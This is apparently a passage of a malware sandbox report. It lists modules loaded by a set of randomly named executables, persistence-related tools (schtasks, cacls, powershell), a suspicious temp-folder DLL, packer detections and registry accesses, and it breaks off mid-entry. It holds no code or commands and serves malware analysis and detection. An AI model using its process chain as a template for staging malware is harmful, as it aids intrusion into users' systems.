"%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\PRESENTATIONCORE\V4.0_4.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "AppLaunch.exe" loaded module "DWRITE.DLL" at base 6cc20000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 76a10000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\WPF\WPFGFX_V0400.DLL" at base 6ca90000 "5cM9dm9.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76a10000 "5cM9dm9.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76a10000 "5cM9dm9.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76a10000 "5cM9dm9.exe" loaded module "KERNEL32" at base 76bf0000 "5cM9dm9.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 737e0000 "5cM9dm9.exe" loaded module "KERNEL32.DLL" at base 76bf0000 "5cM9dm9.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74270000 "5cM9dm9.exe" loaded module "NTDLL.DLL" at base 77dd0000 "5cM9dm9.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73d40000 "5cM9dm9.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 76360000 "5cM9dm9.exe" loaded module "SHELL32.DLL" at base 74810000 "5cM9dm9.exe" loaded module "RPCRT4.DLL" at base 76950000 "5cM9dm9.exe" loaded module "%WINDIR%\SYSWOW64\\WINDOWS.STATEREPOSITORYPS.DLL" at base 72760000 "5cM9dm9.exe" loaded module "%WINDIR%\SYSWOW64\SHELL32.DLL" at base 74810000 "5cM9dm9.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 76bf0000 "5cM9dm9.exe" loaded module "USER32.DLL" at base 77810000 "5cM9dm9.exe" loaded module "%WINDIR%\SYSWOW64\URLMON.DLL" at base 725d0000 "5cM9dm9.exe" loaded module "MSISO.DLL" at base 72570000 "5cM9dm9.exe" loaded module "SSPICLI.DLL" at base 747f0000 "5cM9dm9.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 76a10000 "5cM9dm9.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74740000 "5cM9dm9.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 77800000 "explothe.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76a10000 "explothe.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76a10000 "explothe.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76a10000 "explothe.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 737e0000 "explothe.exe" loaded module "KERNEL32" at base 76bf0000 "explothe.exe" loaded module "RPCRT4.DLL" at base 76950000 "explothe.exe" loaded module "%WINDIR%\SYSWOW64\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 6c7b0000 "explothe.exe" loaded module "WINHTTP.DLL" at base 6c200000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 72880000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 741d0000 "explothe.exe" loaded module "SHELL32.DLL" at base 74810000 "6aw7Xx2.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76a10000 "6aw7Xx2.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76a10000 "6aw7Xx2.exe" loaded module "NTDLL.DLL" at base 77dd0000 "6aw7Xx2.exe" loaded module "%WINDIR%\SYSTEM32\SFC_OS.DLL" at base 73ac0000 "schtasks.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 77bc0000 "schtasks.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76a10000 "schtasks.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76a10000 "schtasks.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76a10000 "schtasks.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 737e0000 "schtasks.exe" loaded module "KERNEL32.DLL" at base 76bf0000 "schtasks.exe" loaded module "%WINDIR%\SYSWOW64\TASKSCHD.DLL" at base 73c50000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76a10000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76a10000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76a10000 "cmd.exe" loaded module "KERNEL32" at base 76bf0000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 737e0000 "cmd.exe" loaded module "NTDLL.DLL" at base 77dd0000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 3b520000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 3b520000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 2aaa0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 34ca0000 "cmd.exe" loaded module "API-MS-WIN-DOWNLEVEL-OLE32-L1-1-0.DLL" at base 3ba40000 "cmd.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base 3d7f0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.UI.APPDEFAULTS.DLL" at base 2a8f0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 3aa90000 "cmd.exe" loaded module "NTDLL.DLL" at base 3e4a0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 38b80000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\SFC_OS.DLL" at base 32120000 "cmd.exe" loaded module "MLANG.DLL" at base 1eeb0000 "cmd.exe" loaded module "WININET.DLL" at base 2b030000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76a10000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76a10000 "powershell.exe" loaded module "KERNEL32" at base 76bf0000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 737e0000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76a10000 "powershell.exe" loaded module "USER32.DLL" at base 77810000 "powershell.exe" loaded module "OLE32.DLL" at base 76cc0000 "powershell.exe" loaded module "GDI32" at base 77470000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 728c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 704b0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 774e0000 "powershell.exe" loaded module "KERNEL32.DLL" at base 76bf0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "powershell.exe" loaded module "SHELL32.DLL" at base 74810000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "powershell.exe" loaded module "NTDLL.DLL" at base 77dd0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\AMSI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 75bd0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.MF49F6405#\E7F9E4AF50C666B5FEC85987C303915A\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 6c180000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 6be00000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINTRUST.DLL" at base 76310000 "powershell.exe" loaded module "CRYPT32.DLL" at base 75bd0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 774e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WLDP.DLL" at base 0 "powershell.exe" loaded module "WLDP.DLL" at base 6ca70000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74270000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\MSISIP.DLL" at base 6ca60000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WSHEXT.DLL" at base 6ca40000 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 76bf0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\APPXSIP.DLL" at base 6ca10000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINDOWSPOWERSHELL\V1.0\PWRSHSIP.DLL" at base 6c8b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\URLMON.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 74510000 "powershell.exe" loaded module "VERSION.DLL" at base 74510000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 6bdc0000 "powershell.exe" loaded module "URLMON.DLL" at base 6f380000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MICROSOFT.APPV.APPVCLIENTCOMCONSUMER\V4.0_10.0.0.0__31BF3856AD364E35\MICROSOFT.APPV.APPVCLIENTCOMCONSUMER.DLL" at base 6bd10000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 77780000 "powershell.exe" loaded module "BCRYPT.DLL" at base 73b10000 "powershell.exe" loaded module "OLEAUT32" at base 75d60000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.KD58820A5#\73C2C8627FEE7863C44684EF9B2F3A21\MICROSOFT.KEYDISTRIBUTIONSERVICE.CMDLETS.NI.DLL" at base 72af0000 "rundll32.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76a10000 "rundll32.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76a10000 "rundll32.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76a10000 "rundll32.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74270000 "cacls.exe" loaded module "KERNEL32" at base 76bf0000 "cacls.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 76a10000 "cacls.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76a10000 "cacls.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 737e0000 "cacls.exe" loaded module "KERNEL32.DLL" at base 76bf0000 "tus.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76a10000 "tus.exe" loaded module "KERNEL32" at base 76bf0000 "tus.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 76a10000 "tus.exe" loaded module "NTDLL.DLL" at base 77dd0000 "foto1661.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76a10000 "foto1661.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 6f310000 "PH1iJ6gO.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76a10000 "PH1iJ6gO.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76a10000 "PH1iJ6gO.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 6f310000 "PH1iJ6gO.exe" loaded module "NTDLL.DLL" at base 77dd0000 "PH1iJ6gO.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74740000 "salo.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76a10000 "salo.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76a10000 "salo.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76a10000 "salo.exe" loaded module "KERNEL32" at base 76bf0000 "salo.exe" loaded module "NTDLL.DLL" at base 77dd0000 "salo.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74740000 "salo.exe" loaded module "EXT-MS-WIN-KERNEL32-ERRORHANDLING-L1-1-0.DLL" at base 76bf0000 "TW9GU8TZ.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76a10000 "TW9GU8TZ.exe" loaded module "FECLIENT.DLL" at base 737c0000 "TW9GU8TZ.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 6f310000 "TW9GU8TZ.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74740000 "cacls.exe" loaded module "RPCRT4.DLL" at base 76950000 "yG0Wt0do.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76a10000 "yG0Wt0do.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76a10000 "ZP7Gz0iG.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76a10000 "ZP7Gz0iG.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76a10000 "ZP7Gz0iG.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76a10000 "ZP7Gz0iG.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 737e0000 "1RI95Jv4.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76a10000 "1RI95Jv4.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 737e0000 "1RI95Jv4.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76a10000 "1RI95Jv4.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-0" at base 76a10000 "1RI95Jv4.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76a10000 "1RI95Jv4.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 77800000 "1RI95Jv4.exe" loaded module "NTDLL.DLL" at base 77dd0000 "1RI95Jv4.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74740000 "1RI95Jv4.exe" loaded module "EXT-MS-WIN-KERNEL32-ERRORHANDLING-L1-1-0.DLL" at base 76bf0000 "cacls.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 76a10000 "cacls.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 76a10000 "cacls.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76a10000 "cacls.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 77bc00004b:T68e,"b04b96a73e3f5d5ab5cd20b1151f47ad.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 772B0000 "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73B10000 "pu4QC49.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 772B0000 "pu4QC49.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73B10000 "XJ8DL15.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 772B0000 "XJ8DL15.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73B10000 "UG5dl07.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 772B0000 "UG5dl07.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73B10000 "Sj8xo42.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 772B0000 "Sj8xo42.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73B10000 "1TB52Ye1.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 772B0000 "1TB52Ye1.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73B10000 "AppLaunch.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 772B0000 "AppLaunch.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73B10000 "2va9153.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 772B0000 "2va9153.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73B10000 "3CP67Xw.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 772B0000 "3CP67Xw.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73B10000 "4Kb287am.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 772B0000 "4Kb287am.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73B10000 "5cM9dm9.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 772B00004c:T44b,"b04b96a73e3f5d5ab5cd20b1151f47ad.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 76950000 "pu4QC49.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 76950000 "XJ8DL15.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 76950000 "UG5dl07.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 76950000 "Sj8xo42.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 76950000 "1TB52Ye1.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 76950000 "AppLaunch.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 76950000 "2va9153.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 76950000 "3CP67Xw.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 76950000 "4Kb287am.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 76950000 "5cM9dm9.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 76950000 "cmd.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 3E110000 "rundll32.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 76950000 "cacls.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 76950000 "salo.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 769500004d:T252e,"b04b96a73e3f5d5ab5cd20b1151f47ad.exe" was detected as "Microsoft Cabinet" and name: "sfx" "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" was detected as "Microsoft Linker" and name: "Linker" "foto1661_1_.exe" was detected as "Microsoft Cabinet" and name: "sfx" "foto1661_1_.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "foto1661_1_.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "foto1661_1_.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "foto1661_1_.exe" was detected as "Microsoft Linker" and name: "Linker" "pu4QC49.exe" was detected as "Microsoft Cabinet" and name: "sfx" "pu4QC49.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "pu4QC49.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "pu4QC49.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "pu4QC49.exe" was detected as "Microsoft Linker" and name: "Linker" "PH1iJ6gO.exe" was detected as "Microsoft Cabinet" and name: "sfx" "PH1iJ6gO.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "PH1iJ6gO.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "PH1iJ6gO.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "PH1iJ6gO.exe" was detected as "Microsoft Linker" and name: "Linker" "XJ8DL15.exe" was detected as "Microsoft Cabinet" and name: "sfx" "XJ8DL15.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "XJ8DL15.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "XJ8DL15.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "XJ8DL15.exe" was detected as "Microsoft Linker" and name: "Linker" "TW9GU8TZ.exe" was detected as "Microsoft Cabinet" and name: "sfx" "TW9GU8TZ.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "TW9GU8TZ.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "TW9GU8TZ.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "TW9GU8TZ.exe" was detected as "Microsoft Linker" and name: "Linker" "4Bu185jX.exe" was detected as "Microsoft Cabinet" and name: "sfx" "4Bu185jX.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "4Bu185jX.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "4Bu185jX.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "4Bu185jX.exe" was detected as "Microsoft Linker" and name: "Linker" "1RI95Jv4.exe" was detected as "Microsoft Cabinet" and name: "sfx" "1RI95Jv4.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "1RI95Jv4.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "1RI95Jv4.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "1RI95Jv4.exe" was detected as "Microsoft Linker" and name: "Linker" "salo.exe" was detected as "Microsoft Cabinet" and name: "sfx" "salo.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "salo.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "salo.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "salo.exe" was detected as "Microsoft Linker" and name: "Linker" "4Kb287am.exe" was detected as "Microsoft Cabinet" and name: "sfx" "4Kb287am.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "4Kb287am.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "4Kb287am.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "4Kb287am.exe" was detected as "Microsoft Linker" and name: "Linker" "tus_1_.exe" was detected as "Microsoft Cabinet" and name: "sfx" "tus_1_.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "tus_1_.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "tus_1_.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "tus_1_.exe" was detected as "Microsoft Linker" and name: "Linker" "3CP67Xw.exe" was detected as "Microsoft Cabinet" and name: "sfx" "3CP67Xw.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "3CP67Xw.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "3CP67Xw.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "3CP67Xw.exe" was detected as "Microsoft Linker" and name: "Linker" "1TB52Ye1.exe" was detected as "Microsoft Cabinet" and name: "sfx" "1TB52Ye1.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "1TB52Ye1.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "1TB52Ye1.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "1TB52Ye1.exe" was detected as "Microsoft Linker" and name: "Linker" "UG5dl07.exe" was detected as "Microsoft Cabinet" and name: "sfx" "UG5dl07.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "UG5dl07.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "UG5dl07.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "UG5dl07.exe" was detected as "Microsoft Linker" and name: "Linker" "yG0Wt0do.exe" was detected as "Microsoft Cabinet" and name: "sfx" "yG0Wt0do.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "yG0Wt0do.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "yG0Wt0do.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "yG0Wt0do.exe" was detected as "Microsoft Linker" and name: "Linker" "ZP7Gz0iG.exe" was detected as "Microsoft Cabinet" and name: "sfx" "ZP7Gz0iG.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "ZP7Gz0iG.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "ZP7Gz0iG.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "ZP7Gz0iG.exe" was detected as "Microsoft Linker" and name: "Linker" "Sj8xo42.exe" was detected as "Microsoft Cabinet" and name: "sfx" "Sj8xo42.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "Sj8xo42.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "Sj8xo42.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "Sj8xo42.exe" was detected as "Microsoft Linker" and name: "Linker" "5sU52oo.exe" was detected as "Microsoft Cabinet" and name: "sfx" "5sU52oo.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "5sU52oo.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "5sU52oo.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "5sU52oo.exe" was detected as "Microsoft Linker" and name: "Linker" "2YP522uh.exe" was detected as "Microsoft Cabinet" and name: "sfx" "2YP522uh.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "2YP522uh.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "2YP522uh.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "2YP522uh.exe" was detected as "Microsoft Linker" and name: "Linker" "5cM9dm9.exe" was detected as "Microsoft Cabinet" and name: "sfx" "5cM9dm9.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "5cM9dm9.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "5cM9dm9.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "5cM9dm9.exe" was detected as "Microsoft Linker" and name: "Linker" "3kc5oj81.exe" was detected as "Microsoft Cabinet" and name: "sfx" "3kc5oj81.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "3kc5oj81.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "3kc5oj81.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "3kc5oj81.exe" was detected as "Microsoft Linker" and name: "Linker" "2va9153.exe" was detected as "Microsoft Cabinet" and name: "sfx" "2va9153.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "2va9153.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "2va9153.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "2va9153.exe" was detected as "Microsoft Linker" and name: "Linker" "6MH49fE.exe" was detected as "Microsoft Cabinet" and name: "sfx" "6MH49fE.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "6MH49fE.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "6MH49fE.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "6MH49fE.exe" was detected as "Microsoft Linker" and name: "Linker" "clip64.dll" was detected as "Microsoft Cabinet" and name: "sfx" "clip64.dll" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "clip64.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "clip64.dll" was detected as "Microsoft Cabinet File" and name: "Archive" "clip64.dll" was detected as "Microsoft Linker" and name: "Linker" "6aw7Xx2.exe" was detected as "Microsoft Cabinet" and name: "sfx" "6aw7Xx2.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "6aw7Xx2.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "6aw7Xx2.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "6aw7Xx2.exe" was detected as "Microsoft Linker" and name: "Linker"4e:T1032,"5cM9dm9.exe" touched "Computer" (Path: "HKCU\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "5cM9dm9.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\WOW6432NODE\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "5cM9dm9.exe" touched "Private Profile Object" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{75847177-F077-4171-BD2C-A6BB2164FBD0}\INPROCSERVER32") "5cM9dm9.exe" touched 